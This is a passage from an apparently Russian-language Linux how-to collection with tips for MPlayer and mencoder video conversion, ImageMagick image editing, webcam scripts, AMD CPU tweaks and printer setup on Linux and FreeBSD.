    При провалах можно увеличить размер кэша, например "-cache 8192" для задания кэша в 8Мб.
    
    Для преобразования mp3 в wav:
       mplayer -ao pcm:file=файл.wav файл.mp3
    
    Полезные комбинации клавиш:
        * Стрелки влево и вправо: переход на 10 секунд назад и вперед.
        * Стрелки вниз и вверх: переход на 1 минуту назад и вперед.
        * Клавиши Page down и Page up: переход на 10 минут назад и вперед.
        * f - переход в полноэкранный режим и обратно.
        * o  - отображение времени просмотра и общей продолжительности;
        * Пробел - пауза;
        * q  - выход
        * / и * (или "9" и "0") - уменьшение или увеличение громкости.
        * m - временное выключение звука.
        * T - режим отображения окна поверх других окон.
        * b и j - выбор субтитров
        * x и z  - управление синхронизацией субтитров;
        * I - отображение имени проигрываемого файла;
        * 1 и 2 - изменение контраста
        * 3 и 4 - изменение яркости;
        * 5 и 6 - изменение цветности;
        * 7 и 8 - изменение насыщенности;
    
     
    ----* Пример добавления лого в видео с помощью MPlayer'а   Автор: Mark Silinio  [комментарии]
     
    создаём FIFO-файл:
       mkfifo bmovl
    
    подготавливаем ваш логотип:
       convert logo.png logo.rgb
    
    запускаем mplayer:
       mplayer -vf bmovl=0:1:./bmovl videoclip.avi
    
    пока запущен mplayer делаем следующее:
    отсылаем в FIFO параметры логотипа (см. man) 
    первые две цифры,- его разрешение, необходимо указать точно!
       echo "RGB24 24 24 10 10 0 1" > bmovl
    
    и сразу кидаем в FIFO ваш логотип в формате RGB:
       cat logo.rgb > bmovl
    
     
    ----* Преобразование .flv видеоролика в AVI-формат. (доп. ссылка 1)   Автор: serhiy cherevko   [комментарии]
     Для скачивания преобразование Flash-формата .flv. используемого в YouTube можно использование KDE программу GenTube.

    Также можно перекодировать его используя mencoder или ffmpeg:

       mencoder input.flv -ofps 15 -vf scale=300:-2 -oac lavc -ovc lavc -lavcopts \
           vcode c=msmpeg4v2:acodec=mp3:abitrate=64 -o output.avi
    
       ffmpeg -i videotoconvert.flv -ab 56 -ar 22050 -b 500  -s 320x240 output.mpg
    
    

    Большое число примеров скриптов для перекодирования можно найти на сайте bashscripts.org.

     
    ----* Скрипт для кодирования видео с помощью Mencoder   [комментарии]
     
    Ниже скрипт, который делает двухпроходное видео.
    
    Как пользовать:
    
    Для начала скатываем фильм с DVD
    
       mencoder dvd:// -oac copy -ovc copy -o name.vob
    
    Заметьте, что имя файла имеет разширение vob (маленькими буквами), 
    скрипт сам переделает его потом в avi. 2. Считаем переменную CROP вот так:
    
       mplayer -vf cropdetect name.vob
    
    Должны появиться строки что-то вроде этого
    
       crop area: X: 10..711  Y: 73..497  (-vf crop=688:416:18:78).6% 0 0              
       crop area: X: 10..711  Y: 73..497  (-vf crop=688:416:18:78).6% 0 0              
       crop area: X: 10..711  Y: 73..497  (-vf crop=688:416:18:78).6% 0 0              
    
    В данном случае нас интересует "688:416:18:78", именно это и ставим в значение переменной 
    ТОЛЬКО ОБЯЗАТЕЛЬНО ПРОВЕРЬТЕ ПРАВИЛЬНО ЛИ ПОЛУЧЕНЫ ЗНАЧЕНИЯ. 
    Иногда mencoder ошибается. Поправте значение ABITRATE (битрейт аудио потока) если нужно. 
    
    Далее запускаем:
    
       ./coder -a
    
    Это заставит mencoder выдать битрейт для видео. 
    После того как поправили значение VBITRATE (битрейт видео потока), запускаем
    
       ./coder
    
    Текст скрипта:
    
    #!/bin/sh
    
    IN_FILE="`ls -1|grep *.vob`"
    OUT_FILE="`echo ${IN_FILE}|sed s/vob/avi/`"
    VBITRATE=""
    ABITRATE="128"
    CROP=""
    ASPECT=""
    EQ="eq=0:0"
    XY="640"
    PASS1="pass=1"
    PASS2="pass=2"
    PP="pp=hb/vb/dr/ci"
    #/al - авто яркость
    OVC="-ovc xvid -xvidencopts bitrate=${VBITRATE}:vhq=4"
    OAC="-oac mp3lame -lameopts br=${ABITRATE}:vbr=3 -alang ru"
    CODER="mencoder"
    VFILTER="${ASPECT} -vf ${EQ},${PP},crop=${CROP},scale -zoom -xy ${XY} -ofps 24"
    AFILTER="-af volnorm,volume=0:1"
    MAIL="stress@stress.volot.net"
    WD="${PWD}"
    DATA="`date`"
    clean ()
    {
        rm -fr frameno.avi
    }
    
    audio_convert ()
    { 
        clean;
        ${CODER} ${IN_FILE} \
    	-ovc frameno \
    	${OAC} \
    	${AFILTER} \
    	${VFILTER} \
    	-o /dev/null
        clean;
    }
     
    video_convert ()
    {
        clean
        if [ -z "${VBITRATE}" ]
    	then
    	{
    	    echo "Битрейт видео потока не установлен!"
    	}
        fi
        
        if [ "${1}" != "d" ] 
    	then 
    	{
    	    OUT_FILE_1="/dev/null"
    	}
    	else 
    	{
    	    OUT_FILE_1="${OUT_FILE}" 
    	}
        fi
        
        nice -n 19 ${CODER} ${IN_FILE} \
    	${OVC}:${PASS1} \
    	-oac copy \
    	${VFILTER} \
    	-o ${OUT_FILE_1} && \
        nice -n 19 ${CODER} ${IN_FILE} \
    	${OVC}:${PASS2} \
    	${OAC} \
    	${AFILTER} \
    	${VFILTER} \
    	-o ${OUT_FILE}
    }
    
    #send_mail [a,v]
    #a - аудио обработка; v - видео обработка
    send_mail ()
    {
        MSG="/tmp/coder"
        A="аудио"
        V="видео"
        
        if [ $1 = "a" ]
    	then
    	{
    	    WORK=${A}
    	}
        fi
        if [ $1 = "v" ]
    	then
    	{
    	    WORK=${V}
    	}
        fi
        
    
        echo "" >> ${MSG}
        echo "Закончена ${WORK} обратотка файла"  >> ${MSG}
        echo "Директория ${WD}" >> ${MSG}
        echo "Входящий файл ${IN_FILE}" >> ${MSG}
        echo "Исходящий файл ${OUT_FILE}" >> ${MSG}
        echo "Обработка файла начата ${DATA}"
        echo "Обработка закончена `date`"
        cat $MSG | mail -s "coder in ${WD}" ${MAIL} \
            -a "Content-Type: text/plain; charset=\"koi8-r\"" -a "Content-Transfer-Encoding: 7bit"
        rm -f ${MSG}
    }
    
    if [ "${1}" = "-a" ]
        then
        {
    	audio_convert && \
    	send_mail a
        }
    fi
    if [ "${1}" = "-d" ]
        then
        {
            video_convert d && \
    	send_mail v
    
        }
    fi
    
    if [ "${1}" = "" ]
        then
        {
            video_convert && \
    	send_mail v
    
        }
        
    fi
    
     
    ----* Перекодирование dvd в avi при помощи mplayer во FreeBSD и Debian   Автор: serpent  [комментарии]
     
    Речь пойдет о перекодировке dvd в avi при помощи mplayer во FreeBSD и Debian.
    
    Кратко:
    Для перекодировки видео я использую два продукта lame (сжатие звука в mp3) и
    mplayer (сжатие видео).
     http://www.mp3dev.org
     http://www.mplayerhq.hu/homepage/dload.html
    
    FreeBSD: 
    
    lame:
       % cd /fooroot
       % ./configure 
       % make
       # make install
    
    mplayer:
       % cd /fooroot
       % ./configure
       // послу установки lame проверка на библиотеки lame должна прийти  
       // удачно (Checking for libmp3lame (for mencoder) ... yes) , обычно я так же 
       // использую параметр  --with-codecsdir=DIR для того чтобы указать 
       // расположение бинарных win кодеков.
       % ./make 
       # ./make install
    
    проверить можно просто
       mplayer ./foo.avi
    
    
    Debian:
    
    lame:
       # apt-get install fakeroot
       # apt-get install dh-make
       $ cd /fooroot
       $ fakeroot debian/rules
       $ fakeroot debian/rules build
       $ fakeroot debian/rules build install
       $ fakeroot debian/rules binary-indep binary-arch
    
    если появляется что то типа:
    
       cp: невозможно выполнить stat для `PRESETS.draft': No such file or directory
       dh_installdocs: command returned error code 256
       make: <li> [binary-arch] Ошибка 1
    
    рекомендую отредактировать вайл rules в подкаталоге debian в секции
    binary-arch: build install закоментируйте строчку dh_installdocs и у вас 
    соберутся 3 замечательных пакета.
    
       # cd ../
       # dpkg -i ./*lame*
    
    mplayer:
       Cобирается точно так же как в FreeBSD.
    
    Перекодирование фильмов:
       mencoder dvd://1 -o xxxxxx.avi -dvd-device /mnt/pink/serpent/video/5/\
          -vf scale=720:480 -oac mp3lame -lameopts vbr=0:q=0  -ovc lavc -lavcopts\
          vcodec=mpeg4:mbd=1:vbitrate=1200
    
    по порядку:
    
    mencoder | утилита специально написанная для перекодировки видео, 
       она будет установлена автоматически во время установки mplayer.
    
    dvd://1 | трек
    
    -o xxxxxx.avi | выходной файл
    
    -dvd-device /cdrom | путь до устройства dvd
    
    -vf scale=720:480 | изменяет размер на указанный
    
    -oac mp3lame | указывает какой аудио кодер использовать
    
    -lameopts vbr=0:q=0 | параметры передоверяемые аудио кодеру (в
     данном случаи переменный битрайт высшего качества)
    
    -ovc lavc | указывает какой видео кодер использовать
    
    -lavcopts vcodec=mpeg4:mbd=1:vbitrate=1200 | параметры 
     передоверяемые видео кодеру (думаю интуитивно понятно)
    
    хочу еще порекомендовать заглянуть в официальную документацию 
    "man mplayer", 
    а так же я обнаружил, что в последней версии есть русско-язычная html документация.
    
     
    ----* Вырезание видеофрагмента из фильма (доп. ссылка 1)   Автор: Вадим Катаев  [комментарии]
     
    Часто требуется вырезать небольшой фрагмент из фильма. 
    Для этого сначала необходимо определить с какой позиции начать вырезать 
    (при просмотре в mplayer обычно клавишей O включается табло времени ), и длину фрагмента.
    
       START_TIME="16:10"
       LENGTH_IN_FRAMES="1500"  # обычно число требуемых секунд помноженное на частоту кадров в секунду (обычно 24 или 25)
       mencoder FILM.AVI -ss $START_TIME -frames $LENGTH_IN_FRAMES -oac pcm -channels 2 \
           -ovc lavc -lavcopts vcodec=mpeg4:vhq:vbitrate=600 -o FRAGMENT.AVI -mc 0 -noskip
    
     
    ----* Манипулирование изображениями из командной строки (доп. ссылка 1)   Автор: Shashank Sharma  [комментарии]
     
    Масштабирование:
       convert -resize 320x200 in.jpg out.jpg
    
    Вырезание блока:
       convert -crop 660x528+320+200 in.jpg out.jpg
    
    Вращение на 90 градусов:
       convert -rotate 90 image_0001.tiff output.tiff
    
    Переворот верх-низ:
       convert -flip me.jpg me_flipped.jpg
       convert -flop me.jpg me_flopped.jpg
    
    Создание уменьшенного варианта:
       mogrify -sample 80x60 *.jpg
       mogrify -format png -sample 15%x15% *.jpg
    
    Создание одного PDF из группы картинок и наоборот:
       convert *jpg allinone.pdf
       convert allinone.pdf img.png
    
    Добавление текста:
       convert -font helvetica -fill yellow -pointsize 25 \
        -draw 'text 100,250 "Nandi Hills, Bangalore"' \
        image.png text.png
    
       convert -font helvetica -fill yellow -pointsize 36 \
        -draw 'text 100,250 "Nandi Hills, Bangalore"' \
        -fill green -draw 'text 150,300 Beautiful' \
        image.png text.png
    
    Обрамление рамкой:
       convert -bordercolor blue -border 5x5 pic001.png border001.png
    
    Мозаика:
       convert -page +15+30 1.png -page +49+60 2.png \
        -page +52+58 3.png \
        -background wheat -mosaic mosaic.png
    
    2D Logo:
       convert basic.png -fill blue -draw 'color 0,0 reset' \
        basic.png +matte -compose CopyOpacity -composite \
        -font Helvetica -pointsize 20 -fill white \
        -gravity center -annotate 0x0 "Blue Pill" 2D.png 
    
    3D эффекты:
    Расплывание:
       convert basic.png -blur 0x4 -blur 0x4 -blur 0x4 -blur 0x4 \
        +matte blurred.png
    
    Тень:
       convert blurred.png -shade 90x0 -normalize light.png
       convert blurred.png -shade 90x180 -normalize dark.png
    
    3D Logo:
    
       convert \( light.png \( +clone -fx 'rand()' -threshold -1 \) \
        +swap +matte -compose CopyOpacity -composite \) \
        \( dark.png \( +clone -threshold 100% \) \
        +swap +matte -compose CopyOpacity -composite \) \
        -compose Over -composite high_lighting.png
    
       convert 2D.png high_lighting.png -compose ATop -composite 3D.png
    
       convert 3D.png \( +clone -fx 'rand()' +matte -shade 120x45 \
        -fill gray -fill beige -tint 120 \) \
        -insert 0 -flatten bg_3D.png
    
     
    ----* Как перекодировать фильм для просмотра на КПК   [обсудить]
     
    Преобразуем в 220x176 по формуле: 220x? = Y/(X/220)
      320x240, 640x480 => 220x165
      352 x 288 => 220x176
      344x272 => 220x173
      448x336 => 220x168
    Для более мощных, чем ARM133, СPU и быстрых flash, нужно увеличить vbitrate, по умолчанию он 800.
     
    mencoder INPUT.AVI -oac mp3lame -ovc lavc -lavcopts \
        vcodec=mpeg4:vhq:vqmin=2:vqmax=20:vmax_b_frames=2:vbitrate=100:vqcomp=0.6 \
        -vop scale=220:173,eq=15 -ofps 20 -zoom -sws 2 -lameopts \
        cbr:br=32:aq=0:mode=3 -o OUTPUT.AVI
    
     
    ----* Настройка WebCam на чипе OV511/OV511+ под FreeBSD (доп. ссылка 1)   Автор: denz  [комментарии]
     
    #!/bin/sh
    # Scriptec greb webcam
    cur_date=`date \+\%d.\%m.\%Y`
    cur_time=`date \+\%H:\%M`
    cam_dir=/home/virtual/denz/htdocs/cam
    /usr/local/bin/vid -d /dev/ugen0 --small | pnmtojpeg --quality=72 --optimize --smooth 10 \
       --progressive --comment="TiraNET Office (67700, Ukraine, Belgorod-Dnestrovsky, P/O Box 4) "\
       > /tmp/webcam_shot.jpg
    rm -f ${cam_dir}/camout.jpg
    /usr/local/bin/convert -normalize -fill white -font helvetica -antialias  \
       -draw "text 45,230 'WebCam in kladovka [ $cur_time @ $cur_date ]'" \
       /tmp/webcam_shot.jpg ${cam_dir}/camout.jpg
    rm -f /tmp/webcam_shot.jpg
    chown -R denz:www ${cam_dir}/*
    
     
    ----* Как выбрать язык при проигрывании VOB файла с DVD диска в mplayer.   [комментарии]
     
    Запускаем mplayer -v file.vob, смотрим какие "audio stream" присутствуют.
    Далее:
        mplayer -aid 129 VTS_01_1.VOB
    
     
    ----* Как убрать эффект красных глаз и осветлить часть фотографии в Gimp   [обсудить]
     
    Осветление блока:
    - Выделить область используя "волшебную палочку" (Click+Ctrl - исключить, Click_shift - добавить);
    - Меню: Слой/ Цвета/ Уровни. 
       - На верхнем графике чуть сдвинуть влево белый и серый маркеры;
       - На нижнем уровне серого немного сдвинуть вправо черный маркер;
    - Меню: Слой/ Цвета/ Яркость-Контрастность.
       - Сбалансировать потерянный контраст сдвинув вправо полоску контраста.
    
    Эффект красных глаз:
    - Под увеличением выделить красную область на всех глазах на фотографии;
    - Меню: Слой/ Цвета/ Тонирование
       - Тон - на минимум (влево);
       - Насыщенность чуть уменьшить;
       - Осветление - прибавить и добиться почти черного цвета с коричневым отливом.
       
    
     
    ----* Русские субтитры в MPlayer (доп. ссылка 1)   Автор: Илья Воронин  [комментарии]
     
    Достаточно скопировать любой TTF шрифт в ~/.mplayer/subfont.ttf,например:
    
         $ cp /usr/local/lib/X11/fonts/msttcorefonts/verdana.ttf ~/. mplayer/subfont.ttf
    
    и добавить в файл ~/.mplayer/config:
    
         subcp=cp1251
    
    
    Вариант 2 от Константина Мартынова:
    ~/.mplayer/config
    
       font = /usr/X11R6/lib/X11/fonts/TTF/tahoma.ttf
       subcp = "cp1251"
       subfont-text-scale = "3"
       subfont-blur = "8"
       subfont-outline = "8"
    
    задержка субтитров регулируется клавишами z/x.
    кодировку субтитров можно задать при запуске ключем -subcp cp1251
    
     
    ----* Как вырезать кадр или отрывок в mplayer   [комментарии]
     
    Вырезать кадр идущий на 670 сек. фильма:
       mplayer -ss 670 -frames 1 -vo jpeg -nosound movie.avi                            
    Записать в mpeg отрывок в 500 кадров начиная с 670 секунды:
      mencoder -ss 670 -frames 500 -o output.avi -oac copy -ovc copy src.avi
      mencoder -ss 670 -frames 500 -o output.avi -oac copy -ovc divx4 -vop scale -zoom -xy 160 -ofps 15  src.avi
    
     
    ----* Манипуляции с картинками из командной строки. (доп. ссылка 1)   [обсудить]
     
    Изменение размера картинки с помощью утилиты pnmscale (y до 150, x - соразмерно):
      djpeg -pnm -dct float SRC_IMAGE.JPG | pnmscale -ysize 150 |
      cjpeg -quality 70 -optimize -progressive -dct float > tumb_IMAGE.JPG
    # Преобразуем tiff картинку в PostScript документ формата A4
       convert -page A4+0+0 image.tiff document.ps
    # надпись начиная от точки 100x100, синим цветом шрифтом helvetic
       convert -font helvetica -pen blue -draw "text 100,100 TEST" test.jpg test2.jpg
    # Создадим изображение размером 640x480 и заполним его повторяющимися картинками bumps.jpg
       convert -size 640x480 tile:bumps.jpg tiled.png
    # Создадим анимированный gif из группы файлов dna.* с задержкой 20/100 сек.
       convert -delay 20 dna.* dna.gif
    # Изменим размер картинки до 100x50 и запишем в tumb.jpg
       convert -geometry 100x50 test.jpg tumb.jpg
    # Уменьшим размер картинки на 50% и запишем в tumb.jpg
       convert -geometry 50% test.jpg tumb.jpg
    # Вырежем кусок размером 100x50 из файла test.jpg начиная с позиции 200x200
       convert -crop 100x50+200+200 test.jpg tumb.jpg
    
     
    ----* Просмотр iTunes-контента через AirPlay в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Для трансляции видеоконтента iTunes с iPhone, iPod или iPad на Linux-машину при
    помощи протокола AirPlay можно использовать скрипт play2wifi совместно с
    медиацентром XBMC. В будущем планируется создание полноценного плагина к XBMC.
    При запуске play2wifi скрипт создает слушающий сокет для приема соединений на
    22555 сетевом порту и передает контент в XBMC через утилиту xbmc-send.
    
    Ставим свежий XBMC:
    
       sudo add-apt-repository ppa:team-xbmc
       sudo apt-get update
       sudo apt-get install xbmc
    
    Для работы потребуется установить поддержку Bonjour (avahi), xbmc-send и Python-фреймворк Twisted:
    
       sudo apt-get install avahi-daemon
       sudo apt-get install xbmc-eventclients-xbmc-send
       sudo apt-get install python-twisted
    
    Загружаем и распаковываем play2wifi.
    
    Файл play2wifi.service с реализацией сервиса для avahi копируем в директорию
    /etc/avahi/services/, после чего перезапускаем сервис avahi-daemon:
    
       /etc/init.d/avahi-daemo restart
    
    Прописываем порт web-интерфейса XBMC (используется HTTP-API) в файл
    конфигурации play2wifi.cfg (порт также можно указать при запуске скрипта через
    опцию "-p").
    
    Запускаем XBMC и убеждаемся, что web-интерфейс активен (XBMC Web GUI включается
    в блоке сетевых настроек XBMC).
    
    Запускаем Python-скрипт play2wifi.py
    
    Инициируем трансляцию видео или подкаста с iPhone, iPod или iPad и начинаем смотреть его в XBMC.
    
     

       Особенности работы с CPU от AMD

    ----* Как уменьшить нагрев процессора AMD Athlon/Duron под Linux   [комментарии]
     
    Активируем ACPI в ядре (при включенном ACPI не будет работать APM):
      "general.setup" активируем  "acpi subsystem", "acpi bus" и "acpi Processor entry".
    Для Via kt133/133a и kx133:
       Включить "охлаждение": setpci -v -H1 -s 0:0.0 52=EB
       Выключить: setpci -v -H1 -s 0:0.0 52=6B
    Для Via kt266/266a:
       Включить: setpci -v -H1 -s 0:0.0 92=EB
       Выключить: setpci -v -H1 -s 0:0.0 92=6B
    
     
    ----* Как исправить падения Linux на AMD Athlon/Duron + AGP ?   [обсудить]
     
    В /etc/lilo.conf необходимо добавить append="mem=nopentium", например:
    image=/boot/vmlinuz
            label=linux
            root=/dev/hda1
            append="mem=nopentium console=tty12 hdc=ide-scsi"
    
     

       Печать

    ----* Прямая отправка заданий на принтер, без использования CUPS и других прослоек (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Многие принтеры имеют встроенную поддержку растеризации документов в форматах
    PDF и PostScript. Для вывода на печать на такие принтеры можно напрямую
    отправить документ без установки системы печати CUPS. Недостатками такого
    подхода являются очень медленный процесс обработки документа и возможные
    проблемы с качеством растеризации.
    
    Например, для печати на сетевом принтере достаточно отправить документ на порт
    9100 при помощи утилиты netcat:
    
       nc 192.168.1.15 9100 < sample.pdf
    
    Для принтеров, подключённых по USB, можно направить документ в файл устройства:
    
       cat sample.pdf >> /dev/usb/lp0
    
     
    ----* Настройка локального принтера для печати через Google Cloud Print (доп. ссылка 1)   [комментарии]
     
    При помощи облачного сервиса Google Cloud Print возможно организовать печать на
    удаленном принтере с мобильного устройства под управлением платформы Android
    или ChromeOS, при этом устройство может находиться где угодно, независимо от
    расположения принтера. Ниже показано как настроить локальный принтер в Linux,
    чтобы на него можно было печатать через Google Cloud Print.
    
    Для обеспечения печати будет использовать прокси-сервер cloudprint,
    позволяющий связать с сервисом Google Cloud Print любой принтер, работающий
    через CUPS. Прокси написан на Python и очень прост в использовании, достаточно
    запустить приложение cloudprint и ввести параметры своего аккаунта в gmail.com,
    после чего настроенный в локальной системе принтер сразу станет доступным для
    печати с телефона или планшета на базе платформы Android. На телефоне для
    отправки на печать удобно использовать приложения "PrinterShare" или "Cloud
    Print", которые можно найти в Android Market. Печать производится путем выбора
    соответствующего сервиса через кнопку "Share".
    
    1. Необходим настроенный для локальной печати принтер.
    
    2. Устанавливаем пакеты, необходимые для работы и загрузки cloudprint (пример для Debian и Ubuntu):
    
       sudo apt-get install git-core python python-cups
    
    3. Загружаем в текущую директорию свежую версию cloudprint из Git-репозитория проекта:
    
        git clone git://github.com/armooo/cloudprint.git
    
    4. Собираем и устанавливаем cloudprint:
    
       cd ~/cloudprint
       python setup.py build
       sudo python setup.py install
    
    Скрипт будет установлен по следующему пути:
       /usr/local/lib/python2.6/dist-packages/cloudprint/cloudprint.py
    
    5. Запускаем прокси для печати через Google Cloud Print:
    
       python /usr/local/lib/python2.6/dist-packages/cloudprint/cloudprint.py
    
    Вводим свой адрес и пароль в Gmail, после чего можно будет печатать на
    принтере, выбранном по умолчанию в CUPS.
    
    6. Управлять параметрами принтера и очередями печати в Google Cloud Print можно
    на странице http://www.google.com/cloudprint/manage.html
    
    7. Вместо реального принтера можно организовать печать в PDF, используя
    CUPS-драйвер cups-pdf, который по умолчанию сохраняет выводимые на печать файлы
    в каталоге PDF в домашней директории текущего пользователя.
    
    Для установки драйвера и подключения принтера можно использовать команды:
    
       sudo apt-get install cups-pdf
       sudo lpadmin -p cups-pdf -v cups-pdf:/ -E -P /usr/share/ppd/cups-pdf/CUPS-PDF.ppd
    
    В системе виртуальный PDF-принтер будет выглядеть как cups-pdf:/
    
     
    ----* Печать на МФУ Samsung во FreeBSD с использованием драйверов Linux   Автор: Alexander Shikoff  [комментарии]
     
    Настройка печати через CUPS на МФУ Samsung SCX-4521F с использованием 
    драйверов Linux
    
    Окружение: 
            - FreeBSD 7.1-PRERELEASE i386
            - linux_base-f8 из портов
            - linux-png-1.2.8_2 из портов
            - linux-tiff из портов
            - linux-jpeg-6b.34 из портов
            - linux-xorg-libs-6.8.2_5 из портов
            - cups-base-1.3.9_2 из портов
            - cups-smb-backend-1.0_1 из портов
    
    Предполагается также, что линуксолятор вкомпилирован в ядро/подгружен и работает.
    Если он работает нормально, то в sysctl можно увидеть версию ядра:
    
       # sysctl -a|grep linux
    
       hw.snd.compat_linux_mmap: 0
       compat.linux.oss_version: 198144
       compat.linux.osrelease: 2.6.16
       compat.linux.osname: Linux
    
    1. Качаем с официального сайта Samsung драйвера для Linux 
    (Linux Unified Driver). В моем случае файл назывался UnifiedLinuxDriver.tar.gz.
    
    2. Распаковываем:
    
       # tar -zxf UnifiedLinuxDriver.tar.gz
    
    3. Копируем ppd-файл с драйвером и нужный фильтр в папки CUPSа. Посмотреть, 
    какой именно фильтр нужен, можно в соответствующем Вашему принтеру файлу ppd:
    
       # cat cdroot/Linux/noarch/at_opt/share/ppd/scx4x21.ppd |grep Filter
       *cupsFilter:  "application/vnd.cups-postscript 0 rastertosamsungspl"
    
       # mkdir /usr/local/share/cups/model/samsung
       # cp cdroot/Linux/noarch/at_opt/share/ppd/scx4x21.ppd /usr/local/share/cups/model/samsung/
       # cp cdroot/Linux/i386/at_root/usr/lib/cups/filter/rastertosamsungspl /usr/local/libexec/cups/filter/
    
    4. Теперь задача добавить в /compat/linux недостающие либы. Перед тем, как 
    запускать линуксячий бинарник, стОит выполнить команду
    
       # /compat/linux/sbin/ldconfig
    
    Далее нужно выяснить, каких библиотек не хватает. Самый простой способ - запускать 
    из командной строки /usr/local/libexec/cups/filter/rastertosamsungspl и смотреть,
    чего ему не хватает. Подкладывать их в /compat/linux/lib или /compat/linux/usr/lib
    по одной, и запускать /compat/linux/sbin/ldconfig. 
    
    В моем случае не хватало следующих:
    
            libcups.so.2
            libcupsimage.so.2
            libgnutls.so.13
            libgcrypt.so.11
            libgpg-error.so.0
    
    Найти и скачать RPM-пакеты для нужного релиза Fedroa, в которых есть эти библиотеки, 
    можно с помощью Web-сервиса RPM Search, например http://rpm.pbone.net/
    Итак, у нас появляется 4 файла rpm:
    
       # ls -1 *rpm
    
       cups-libs-1.3.4-2.fc8.i386.rpm
       gnutls-1.6.3-2.fc8.i386.rpm
       libgcrypt-1.2.4-6.i386.rpm
       libgpg-error-1.5-6.i386.rpm
    
    Достаем оттуда библиотеки:
    
       # rpm2cpio cups-libs-1.3.4-2.fc8.i386.rpm | tar -zxf -
       # rpm2cpio gnutls-1.6.3-2.fc8.i386.rpm | tar -zxf -
       # rpm2cpio libgcrypt-1.2.4-6.i386.rpm | tar -zxf -
       # rpm2cpio libgpg-error-1.5-6.i386.rpm | tar -zxf -
    
    Копируем их в /compat/linux:
    
       # cp -v lib/libgcrypt.so.11.2.3 lib/libgpg-error.so.0.3.1 /compat/linux/lib/
       lib/libgpg-error.so.0.3.1 -> /compat/linux/lib/libgpg-error.so.0.3.1
       lib/libgcrypt.so.11.2.3 -> /compat/linux/lib/libgcrypt.so.11.2.3
       # cp -v usr/lib/libcups* /compat/linux/usr/lib/
       usr/lib/libcupsimage.so.2 -> /compat/linux/usr/lib/libcupsimage.so.2
       usr/lib/libcups.so.2 -> /compat/linux/usr/lib/libcups.so.2
       # cp -v usr/lib/libgnutls.so.13.3.0 /compat/linux/usr/lib/tls/
       usr/lib/libgnutls.so.13.3.0 -> /compat/linux/usr/lib/tls/libgnutls.so.13.3.0
       # /compat/linux/sbin/ldconfig
    
    5. Если все было сделано правильно, то бинарник должен нормально запуститься:
    
       # /usr/local/libexec/cups/filter/rastertosamsungspl
    
       INFO: Usage: rastertosamsungspl job-id user title copies options [file]
       ERROR: Wrong number of arguments
    
    6. Далее идем броузером на http://localhost:631/ и подключаем принтер, как обычно.
    В разделе Make/Manufacturer должен появиться Samsung, и далее - в разделе
    
       Model/Driver - SCX-4x21 Series.
    
    Возможно, пропустил что-то, но в принципе суть изложена.
    Аналогичным образом, я думаю, можно завести любой принтер, если к нему есть
    нормальные Linux драйверы.
    
     
    ----* Подключение принтера Canon LBP 2900 в Slackware Linux   Автор: Sklifasovsky  [комментарии]
     
    Настройка печатати на принтере  Canon lbp 2900 в Slackware Linux.
    
    Устанавливаем драйверы cndrvcups версии 1.30 из rpm-пакетов, скаченных с
    http://software.canon-europe.com :
    
    в каталоге с ppd драйверами cups выполняем:
    
       rpm2tgz cndrvcups-capt-1.30-1.i386.rpm
       rpm2tgz cndrvcups-common-1.30-1.i386.rpm
    
    далее
    
       mkdir /var/captmon
       mkdir /var/ccpd
       mkfifo /var/ccpd/fifo0
       chmod 777 /var/ccpd/fifo0
       chown root /var/ccpd/fifo0
       chmod -R a+rx /usr/share/cups/model
       /etc/rc.d/rc.cups restart
    
       /usr/sbin/lpadmin -p LBP2900 -m CNCUPSLBP2900CAPTK.ppd -v ccp:/var/ccpd/fifo0 -E
      /usr/sbin/ccpdadmin -p LBP2900 -o /dev/usblp0
    
      cp /etc/init.d/ccpd /etc/rc.d/rc.ccpd
      chmod +x /etc/rc.d/rc.ccpd
    
    в /etc/rc.d/rc.local дописываем
    
       #start ccpd
       /etc/rc.ccpd start
    
    стартуем сервис:
    
       /etc/rc.ccpd start
    
    для проверки принтера выполняем
    
       captstatusui -P LBP2900
    
    если пишет Ready to Print значит принтер готов и печатаем пробную страницу из CUPS:
    
       http://localhost:631/printers/LBP2900
    
    использовалась информация:
    https://help.ubuntu.com/community/HardwareSupportComponentsPrinters/CanonPrinters/Canon_LBP_2900
    но с учётом особенностей Slackware
    
     
    ----* Установка принтера HP1020 в Debian Еtch   Автор: Андрей Никитин  [комментарии]
     
    Принтеры HP LaserJet 1000,1005,1018,1020 после включения должны загрузить
    бинарный firmware драйвер.
    
    Если прошивка по каким-то причинам не загружена 
    (загрузка обычно устанавливается в автомате через hotplug),
    то вывод usb_printerid будет примерно таким
    
       nik@linuxdvr:~$ usb_printerid /dev/usb/lp0
       GET_DEVICE_ID string:
       MFG:Hewlett-Packard;MDL:HP LaserJet 1020;CMD:ACL;CLS:PRINTER;DES:HP  LaserJet 1020;
    
    без упоминания версии прошивки в конце строки (FWVER:20041129;)
    
    Устанавливаем штатный deb-пакет foo2zjs
    он ставит все что нужно, за исключением самой прошивки
    и в логе tail -n 20 /var/log/messages вы увидите что-то подобное
    
       Mar 20 12:35:34 linuxdvr kernel: usbcore: registered new driver usblp
       Mar 20 12:35:34 linuxdvr kernel: drivers/usb/class/usblp.c: v0.13: USB Printer Device Class driver
       Mar 20 12:35:35 linuxdvr /usr/bin/hplj1020: Missing HP LaserJet 1020 firmware file /usr/share/foo2zjs/firmware/sihp1020.dl
       Mar 20 12:35:35 linuxdvr /usr/bin/hplj1020: ...read foo2zjs installation instructions and run ./getweb 1020
    
    Выполняю:
    
       nik@linuxdvr:~$ getweb 1020
    
    в итоге c инета сайта foo2zjs качается прошивка  и сохраняется как sihp1020.img
    
    конвертируем этот бинарник в нужный формат
    
       nik@linuxdvr:~$ arm2hpdl sihp1020.img > sihp1020.dl
    
    далее копируем куда нужно
    
       nik@linuxdvr:~$ sudo mv sihp1020.dl /usr/share/foo2zjs/firmware/
    
    и корректируем владельца группу
    
       nik@linuxdvr:~$ sudo chown root:root /usr/share/foo2zjs/firmware/sihp1020.dl
    
    Включаем и выключаем принтер и в логе tail -n 20 /var/log/messages видим
    
       Mar 20 12:57:18 linuxdvr /usr/bin/hplj1020: loading HP LaserJet 1020 
         firmware /usr/share/foo2zjs/firmware/sihp1020.dl to /dev/usb/lp0 ...
       Mar 20 12:57:19 linuxdvr /usr/bin/hplj1020: ... download successful.
    
    Проверяем:
    
       nik@linuxdvr:~$ usb_printerid /dev/usb/lp0
    
       GET_DEVICE_ID string:
       MFG:Hewlett-Packard;MDL:HP LaserJet 1020;CMD:ACL;CLS:PRINTER;DES:HP  LaserJet 1020;FWVER:20041129;
    
    FWVER:20041129; - это версия успешно загруженной прошивки
    
